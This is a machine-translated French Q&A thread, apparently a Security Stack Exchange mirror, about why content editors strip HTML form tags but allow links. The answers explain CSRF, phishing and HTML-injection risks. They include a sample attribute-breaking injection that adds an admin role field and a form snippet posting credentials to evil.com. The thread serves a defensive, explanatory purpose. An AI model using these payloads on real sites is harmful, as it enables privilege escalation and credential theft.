web-dev-qa-db-fra.com

Une balise de formulaire HTML est-elle plus exploitable qu'un lien HTML dans le contenu soumis par l'utilisateur?

J'ai un éditeur de contenu dans une application Web qui permet aux administrateurs d'ajouter et d'éditer du contenu dans certains domaines de l'application.

Le composant éditeur que j'ai utilisé supprime automatiquement toutes les balises de script, cliquez sur Events et, fondamentalement, tout JavaScript dans le contenu entré. J'étais au courant de cela et est un comportement intentionnel de la demande Web de ma part.

Je viens de découvrir que l'éditeur supprime également les étiquettes de formulaire de tout contenu entré. Je n'étais pas au courant de cela jusqu'à récemment lorsqu'un utilisateur a tenté d'inclure un bouton PayPal.

Je suis sûr qu'il y a une bonne raison pour cela, mais au sommet de ma tête ne peut penser à ce qui fait un form étiquette plus dangereux qu'un lien HTML.

Quel est le cas pour éliminer les étiquettes form du contenu fourni par l'utilisateur, tout en permettant des liens HTML?

8
rdans

Oui c'est le cas. Par combien, et s'il serait correct que vous puissiez autoriser des formulaires dépend de votre situation spécifique.

CSRF avec vérifications de référent

Si votre protection CSRF dépend des chèques de référez-vous, non sur un jeton, permettant aux formulaires signifie que vous seriez vulnérable au CSRF.

Lorsque vous interdisez les scripts, une victime aurait toujours besoin de cliquer sur le formulaire, mais qui peut être obtenue via l'ingénierie sociale ou peut-être clickjacking.

Par exemple, un attaquant pourrait placer un bouton PayPal, qui ajouterait un nouvel utilisateur administrateur, dans l'espoir que vous cliquez dessus.

Bien sûr, cela est également possible avec des liens, mais uniquement pour obtenir des demandes, pas pour POST Demandes.

CSRF avec formulaires existants

Il semble que votre filtre est un filtre général, filtrant toutes les étiquettes éventuellement dangereuses. Mais il existe des situations spécifiques dans lesquelles vous ne voulez certainement pas que des balises de formes, par exemple lors de l'écho des formulaires internes de l'utilisateur.

Si vous avez, par exemple, avoir un formulaire d'édition utilisateur comme celui-ci dans le backend d'administration:

<form action="admin_user_edit.php">
    <input type="text" name="csrf-token" value="[CSRF token]">
    <input type="text" name="password" value="[value from database]">
    <input type="text" name="username" value="[value from database]">
    <input type="text" name="role" value="[value from database]">
    <input type="submit" value="Submit">
</form> 

Maintenant, un utilisateur pourrait se nommer foobar"><input type="hidden" name="role" value="admin"><input type="submit" value="Submit"></form>. S'ils reçoivent maintenant l'administrateur pour éditer leur profil, ils seraient administrateurs, sans que l'administrateur désirait leur faire admin.

phishing

Un formulaire pourrait également être utilisé pour des attaques de phishing. Cela dépend à nouveau du contexte spécifique où votre entrée d'utilisateur est placée, mais théoriquement, un attaquant pourrait par exemple afficher un formulaire demandant des informations d'identification de connexion, des détails de la carte de crédit, etc., puis de les envoyer à son propre serveur.

L'espoir est que la victime ne interpréterait pas le formulaire en tant qu'intraction de l'utilisateur, mais appartenant à votre site Web.

7
tim

Un formulaire est plus dangereux car il cache plus de choses de l'utilisateur qu'un simple lien et peut faire des choses différentes.

supprime automatiquement toutes les balises de script, cliquez sur Events et fondamentalement n'importe quel JavaScript.

Je suppose que cela signifie qu'il supprime aussi javascript:... liens. Donc, les seuls liens qu'un attaquant peut produire sont des demandes d'obtention simples, qui, entre autres, sont clairement affichées à l'utilisateur, à la fois sur la souris et dans le champ d'adresse après avoir cliqué sur (en supposant que le navigateur le fait du tout; les miennes sont configurées pour faire donc).

Un formulaire peut utiliser des méthodes arbitraires (post, etc.) et inclure du contenu caché arbitraire. Après la soumission, le champ d'adresse ne voit que la partie d'action et ne sera même pas consciente qu'il a envoyé plus de données, ouvrant des moyens beaucoup plus de tricher.

Une attaque très simple avec une forme serait d'afficher une page de connexion faillite (vous n'avez besoin que de formatage inoffensionnellement) avec une action qui conduit à un site Web de l'attaquant. L'utilisateur non technique sera juste ennuyé que le forum invite encore une autre connexion ("Argh! Je me suis déjà connecté 3 fois, pourquoi encore ?!"), entrera dans ses références, qui seront promptement livrées à l'attaquant. Des scénarios plus impliqués peuvent être imaginés.

2
AnoE

encente POST et obtenez

Un lien permet une demande GET quand il est cliqué sur. Un formulaire permet GET ou POST demandes lorsqu'elles sont soumises. Tous GET Les demandes pouvant être effectuées avec un formulaire peuvent également être effectuées avec un lien et vice versa, de sorte que la fonctionnalité supplémentaire que le formulaire permet est les demandes POST.

Asumant les gens s'accorder sur les intentions des verbes http, a POST demandes modifie l'état du serveur pendant qu'une demande GET requête vient d'aller chercher des informations. POST Les demandes et les formulaires sont donc intrinsèquement plus risqués.

Une raison de firme de filtrer les formulaires mais non des liens est qu'il existe des raisons légitimes évidentes de laisser l'utilisateur de CMS comprennent des liens sur des pages, mais des utilisations légitimes des formes sont plus des cas de bord. Le filtrage des sous-ensembles de HTML est difficile et il est facile de la tromper ou de manquer quelque chose, alors refusant tout ce qui n'est évidemment pas la necécarry n'est pas une mauvaise idée .¨

Risques avec des formulaires

Tim a déjà couvert deux des principales préoccupations [~ # ~ # ~] csrf [~ # ~] et phishing -- cette réponse Donc je ne répétera pas cela ici. Je vais ajouter une troisième - injection HTML . Jetez un coup d'œil à cet exemple:

<!-- Beginning of user generated content. -->
This is a normal webpage. Nothing fishy going on, I promise.
<form name="attack" method="post" action="http://evil.com/harvestpasswords.php">
<!-- End of user generated content. -->
<!-- Start of static HTML of page. -->
<div id="footer">
  <form name="login" method="post" action="login.php">
     <!-- A normal login form here. -->
  </form>
</div>

En effet, la forme de connexion normale sera désormais imbriquée dans le formulaire d'attaque. Cela fera que le navigateur ignore la balise de formulaire interne (puisque les formes imbriquées ne sont pas autorisées) et que la forme sera donc soumise à la page des attaquants.

En fonction de la structure de votre HTML sur votre page, ce type d'attaque pourrait ne pas fonctionner. Mais pourquoi prendre le risque?

Risques avec des liens

Un lien permet également d'exécuter des scripts avec des protocoles tels que href="javascript:..." et href="vbscript:...". Pour éviter l'enfer XSS, vous avez besoin d'un blancheur avec des protocoles autorisés (la liste noire ne fera pas ici).

0
Anders